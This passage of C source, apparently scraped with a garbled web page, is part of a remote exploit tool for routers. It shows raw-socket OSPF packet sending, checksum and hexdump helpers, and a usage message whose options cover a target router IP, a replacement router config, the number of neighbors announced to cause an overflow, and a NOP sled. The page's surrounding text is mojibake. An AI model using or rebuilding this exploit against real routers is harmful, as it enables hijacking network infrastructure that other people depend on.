¡¡¡¡ospfh->checksum=cs;
¡¡¡¡
¡¡¡¡return tpacket;
¡¡¡¡}
¡¡¡¡
¡¡¡¡// Dirty stuff from IRPAS
¡¡¡¡int init_socket_IP4(int broadcast) {
¡¡¡¡int sfd;
¡¡¡¡int t=1;
¡¡¡¡
¡¡¡¡if ((sfd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0) {
¡¡¡¡perror("socket()");
¡¡¡¡return(-1);
¡¡¡¡}
¡¡¡¡
¡¡¡¡/* make a broadcast enabled socket if desired */
¡¡¡¡if (broadcast) {
¡¡¡¡if (setsockopt(
¡¡¡¡sfd,SOL_SOCKET,SO_BROADCAST,
¡¡¡¡(void *)&t,sizeof(int)) != 0) {
¡¡¡¡perror("setsockopt");
¡¡¡¡return (-1);
¡¡¡¡}
¡¡¡¡}
¡¡¡¡return sfd;
¡¡¡¡}
¡¡¡¡
¡¡¡¡int sendpack_IP4(int sfd, u_char *packet,int plength) {
¡¡¡¡struct sockaddr_in sin;
¡¡¡¡iphdr_t *iph;
¡¡¡¡
¡¡¡¡iph=(iphdr_t *)packet;
¡¡¡¡
¡¡¡¡memset(&sin,0,sizeof(struct sockaddr_in));
¡¡¡¡sin.sin_family=AF_INET;
¡¡¡¡sin.sin_port=htons(0);
¡¡¡¡memcpy(&(sin.sin_addr),&(iph->daddr),sizeof(sin.sin_addr));
¡¡¡¡
¡¡¡¡if (sendto(sfd,packet,plength,0,
¡¡¡¡(struct sockaddr *) &sin,
¡¡¡¡sizeof(struct sockaddr_in)) <=0) {
¡¡¡¡perror("sendto()");
¡¡¡¡return(-1);
¡¡¡¡}
¡¡¡¡
¡¡¡¡return 0;
¡¡¡¡}
¡¡¡¡
¡¡¡¡
¡¡¡¡u_int16_t chksum(u_char *data, unsigned long count) {
¡¡¡¡u_int32_t sum = 0;
¡¡¡¡u_int16_t *wrd;
¡¡¡¡
¡¡¡¡wrd=(u_int16_t *)data;
¡¡¡¡while( count > 1 ) {
¡¡¡¡sum = sum + *wrd;
¡¡¡¡wrd++;
¡¡¡¡count -= 2;
¡¡¡¡}
¡¡¡¡
¡¡¡¡if( count > 0 ) sum = sum + ((*wrd &0xFF)<<8);
¡¡¡¡while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
¡¡¡¡return (~sum);
¡¡¡¡}
¡¡¡¡
¡¡¡¡void *smalloc(size_t size) {
¡¡¡¡void *p;
¡¡¡¡
¡¡¡¡if ((p=malloc(size))==NULL) {
¡¡¡¡fprintf(stderr,"smalloc(): malloc failed\n");
¡¡¡¡exit (-2);
¡¡¡¡}
¡¡¡¡memset(p,0,size);
¡¡¡¡return p;
¡¡¡¡}
¡¡¡¡
¡¡¡¡
¡¡¡¡// /dirty
¡¡¡¡
¡¡¡¡
¡¡¡¡/* A better version of hdump, from Lamont Granquist. Modified slightly
¡¡¡¡* by Fyodor (fyodor@DHP.com)
¡¡¡¡* obviously stolen by FX from nmap (util.c)*/
¡¡¡¡void hexdump(unsigned char *bp, unsigned int length) {
¡¡¡¡
¡¡¡¡/* stolen from tcpdump, then kludged extensively */
¡¡¡¡
¡¡¡¡static const char asciify[] = "................................ \
¡¡¡¡!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrst \
¡¡¡¡uvwxyz{|}~............................................................................ \
¡¡¡¡.....................................................";
¡¡¡¡
¡¡¡¡register const u_short *sp;
¡¡¡¡register const u_char *ap;
¡¡¡¡register u_int i, j;
¡¡¡¡register int nshorts, nshorts2;
¡¡¡¡register int padding;
¡¡¡¡
¡¡¡¡printf("\n\t");
¡¡¡¡padding = 0;
¡¡¡¡sp = (u_short *)bp;
¡¡¡¡ap = (u_char *)bp;
¡¡¡¡nshorts = (u_int) length / sizeof(u_short);
¡¡¡¡nshorts2 = (u_int) length / sizeof(u_short);
¡¡¡¡i = 0;
¡¡¡¡j = 0;
¡¡¡¡while(1) {
¡¡¡¡while (--nshorts >= 0) {
¡¡¡¡printf(" %04x", ntohs(*sp));
¡¡¡¡sp++;
¡¡¡¡if ((++i % 8) == 0)
¡¡¡¡break;
¡¡¡¡}
¡¡¡¡if (nshorts < 0) {
¡¡¡¡if ((length & 1) && (((i-1) % 8) != 0)) {
¡¡¡¡printf(" %02x ", *(u_char *)sp);
¡¡¡¡padding++;
¡¡¡¡}
¡¡¡¡nshorts = (8 - (nshorts2 - nshorts));
¡¡¡¡while(--nshorts >= 0) {
¡¡¡¡printf(" ");
¡¡¡¡}
¡¡¡¡if (!padding) printf(" ");
¡¡¡¡}
¡¡¡¡printf(" ");
¡¡¡¡
¡¡¡¡while (--nshorts2 >= 0) {
¡¡¡¡printf("%c%c", asciify[*ap], asciify[*(ap+1)]);
¡¡¡¡ap += 2;
¡¡¡¡if ((++j % 8) == 0) {
¡¡¡¡printf("\n\t");
¡¡¡¡break;
¡¡¡¡}
¡¡¡¡}
¡¡¡¡if (nshorts2 < 0) {
¡¡¡¡if ((length & 1) && (((j-1) % 8) != 0)) {
¡¡¡¡printf("%c", asciify[*ap]);
¡¡¡¡}
¡¡¡¡break;
¡¡¡¡}
¡¡¡¡}
¡¡¡¡if ((length & 1) && (((i-1) % 8) == 0)) {
¡¡¡¡printf(" %02x", *(u_char *)sp);
¡¡¡¡printf(" %c", asciify[*ap]);
¡¡¡¡}
¡¡¡¡printf("\n");
¡¡¡¡}
¡¡¡¡
¡¡¡¡void usage(char *s) {
¡¡¡¡int i;
¡¡¡¡
¡¡¡¡fprintf(stderr,"Usage: \n"
¡¡¡¡"%s -s -n -d -f "
¡¡¡¡" -t \n"
¡¡¡¡"Options:\n"
¡¡¡¡"-s Use this network as source (as in target config)\n"
¡¡¡¡"-n Use this netmask as source (as in target config)\n"
¡¡¡¡"-d This is the target router interface IP\n"
¡¡¡¡"-f Use this as the new config for the router\n"
¡¡¡¡"-t # Use this target value set (see below)\n"
¡¡¡¡"-a Use this OSPF area\n"
¡¡¡¡"-v Be verbose (-vv or -vvv recommended)\n"
¡¡¡¡"-D Directed attack (unicast) for 11.x targets\n"
¡¡¡¡"-T Test only - don't send\n"
¡¡¡¡" --- barely used options ---\n"
¡¡¡¡"-L # Number of neighbors to announce (overflow size)\n"
¡¡¡¡"-F # Start of data (seen reverse to overflow)\n"
¡¡¡¡"-S # NOP sleet\n"
¡¡¡¡"\n"
¡¡¡¡"Known targets:\n"
¡¡¡¡,s);
¡¡¡¡
¡¡¡¡for (i=0;i<=TARGETS;i++)
¡¡¡¡fprintf(stderr,"\t%s\n",targets[i].description);
¡¡¡¡
¡¡¡¡exit (1);
¡¡¡¡}

  • ÉÏÒ»¸ö·Óɽ»»»£º
  • ÏÂÒ»¸ö·Óɽ»»»£º
  •  
    ¡¡×îÐÂͼÎÄ
    ¡¡ÈÈÃÅÎÄÕÂ
    ¡¡ÍƼöÎÄÕÂ
    ¹ØÓÚÎÒÃÇ | ·¢Õ¹Àú³Ì | ÍøÕ¾µØÍ¼ | ¹ã¸æ·þÎñ | ÕÐÏÍÄÉÊ¿ | Õ½ÂÔºÏ×÷ | ÓÑÇéÁ´½Ó | Öø×÷ÉùÃ÷ | ÁªÏµÎÒÃÇ
    Copyright © 2002-2006 SYUE All rights reserved.
    E_mail:WebSyue@163.Com ÍîICP±¸05004589ºÅ
    ÔÚ´ËÌØ±ð¸Ðл ¡°Öйú¡¤»ªÏÄпƼ¼¡± ÌṩCDN¼¼ÊõÖ§³Ö£¬×£ËûÃÇÔ½°ìÔ½ºÃ